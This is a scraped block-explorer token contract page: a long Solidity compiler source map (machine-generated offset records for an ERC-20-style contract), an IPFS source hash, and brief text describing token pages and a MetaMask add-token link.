::i;:::-;-1:-1:-1;;;;;2262:22:0;::::1;2254:67;;;::::0;-1:-1:-1;;;2254:67:0;;6891:2:1;2254:67:0::1;::::0;::::1;6873:21:1::0;;;6910:18;;;6903:30;6969:34;6949:18;;;6942:62;7021:18;;2254:67:0::1;6689:356:1::0;2254:67:0::1;2351:6;::::0;;-1:-1:-1;;;;;2368:17:0;;::::1;-1:-1:-1::0;;;;;;2368:17:0;::::1;::::0;::::1;::::0;;;2401:40:::1;::::0;2351:6;::::1;::::0;2368:17;2351:6;;2401:40:::1;::::0;2332:16:::1;::::0;2401:40:::1;2243:206;2179:270:::0;:::o;5592:366::-;-1:-1:-1;;;;;5721:20:0;;5713:58;;;;-1:-1:-1;;;5713:58:0;;7252:2:1;5713:58:0;;;7234:21:1;7291:2;7271:18;;;7264:30;7330:27;7310:18;;;7303:55;7375:18;;5713:58:0;7050:349:1;5713:58:0;-1:-1:-1;;;;;5790:21:0;;5782:57;;;;-1:-1:-1;;;5782:57:0;;7606:2:1;5782:57:0;;;7588:21:1;7645:2;7625:18;;;7618:30;7684:25;7664:18;;;7657:53;7727:18;;5782:57:0;7404:347:1;5782:57:0;-1:-1:-1;;;;;5852:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;:37;;;5903:8;;5900:50;;5934:7;-1:-1:-1;;;;;5917:33:0;5926:6;-1:-1:-1;;;;;5917:33:0;;5943:6;5917:33;;;;1258:25:1;;1246:2;1231:18;;1112:177;5917:33:0;;;;;;;;5592:366;;;:::o;4913:671::-;4991:13;-1:-1:-1;;;;;5026:18:0;;5018:57;;;;-1:-1:-1;;;5018:57:0;;7958:2:1;5018:57:0;;;7940:21:1;7997:2;7977:18;;;7970:30;8036:28;8016:18;;;8009:56;8082:18;;5018:57:0;7756:350:1;5018:57:0;-1:-1:-1;;;;;5094:16:0;;5086:53;;;;-1:-1:-1;;;5086:53:0;;8313:2:1;5086:53:0;;;8295:21:1;8352:2;8332:18;;;8325:30;8391:26;8371:18;;;8364:54;8435:18;;5086:53:0;8111:348:1;5086:53:0;-1:-1:-1;;;;;5248:15:0;;5226:19;5248:15;;;;;;;;;;;5282:21;;;;5274:65;;;;-1:-1:-1;;;5274:65:0;;9076:2:1;5274:65:0;;;9058:21:1;9115:2;9095:18;;;9088:30;9154:33;9134:18;;;9127:61;9205:18;;5274:65:0;8874:355:1;5274:65:0;-1:-1:-1;;;;;5377:15:0;;;:9;:15;;;;;;;;;;;5395:20;;;5377:38;;5437:13;;;;;;;;:23;;5409:6;;5377:9;5437:23;;5409:6;;5437:23;:::i;:::-;;;;-1:-1:-1;;5475:10:0;;5471:63;;5529:5;;175:10;5505:21;;;;:7;:21;;;;;;5496:30;;:6;:30;:::i;:::-;:38;;;;:::i;:::-;5488:46;;5471:63;5565:2;-1:-1:-1;;;;;5550:26:0;5559:4;-1:-1:-1;;;;;5550:26:0;;5569:6;5550:26;;;;1258:25:1;;1246:2;1231:18;;1112:177;5550:26:0;;;;;;;;5007:577;4913:671;;;;;:::o;5966:441::-;6094:24;6121:26;6131:6;6139:7;6121:9;:26::i;:::-;6094:53;;-1:-1:-1;;6162:16:0;:37;6158:242;;6244:6;6224:16;:26;;6216:61;;;;-1:-1:-1;;;6216:61:0;;9831:2:1;6216:61:0;;;9813:21:1;9870:2;9850:18;;;9843:30;-1:-1:-1;;;9889:18:1;;;9882:52;9951:18;;6216:61:0;9629:346:1;6216:61:0;6321:52;6330:6;6338:7;6366:6;6347:16;:25;6321:8;:52::i;:::-;6083:324;5966:441;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;:::-;2003:39;1862:186;-1:-1:-1;;;1862:186:1:o;2261:260::-;2329:6;2337;2390:2;2378:9;2369:7;2365:23;2361:32;2358:52;;;2406:1;2403;2396:12;2358:52;2429:29;2448:9;2429:29;:::i;:::-;2419:39;;2477:38;2511:2;2500:9;2496:18;2477:38;:::i;:::-;2467:48;;2261:260;;;;;:::o;2526:127::-;2587:10;2582:3;2578:20;2575:1;2568:31;2618:4;2615:1;2608:15;2642:4;2639:1;2632:15;2658:128;2725:9;;;2746:11;;;2743:37;;;2760:18;;:::i;2791:125::-;2856:9;;;2877:10;;;2874:36;;;2890:18;;:::i;2921:347::-;3123:2;3105:21;;;3162:2;3142:18;;;3135:30;3201:25;3196:2;3181:18;;3174:53;3259:2;3244:18;;2921:347::o;3975:184::-;4045:6;4098:2;4086:9;4077:7;4073:23;4069:32;4066:52;;;4114:1;4111;4104:12;4066:52;-1:-1:-1;4137:16:1;;3975:184;-1:-1:-1;3975:184:1:o;4793:277::-;4860:6;4913:2;4901:9;4892:7;4888:23;4884:32;4881:52;;;4929:1;4926;4919:12;4881:52;4961:9;4955:16;5014:5;5007:13;5000:21;4993:5;4990:32;4980:60;;5036:1;5033;5026:12;9234:168;9307:9;;;9338;;9355:15;;;9349:22;;9335:37;9325:71;;9376:18;;:::i;9407:217::-;9447:1;9473;9463:132;;9517:10;9512:3;9508:20;9505:1;9498:31;9552:4;9549:1;9542:15;9580:4;9577:1;9570:15;9463:132;-1:-1:-1;9609:9:1;;9407:217::o
Swarm Source
ipfs://9ae3d5fa5fe0d08b23f657c7503319cae365405c57ef25fe020c9697b91e6b91
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)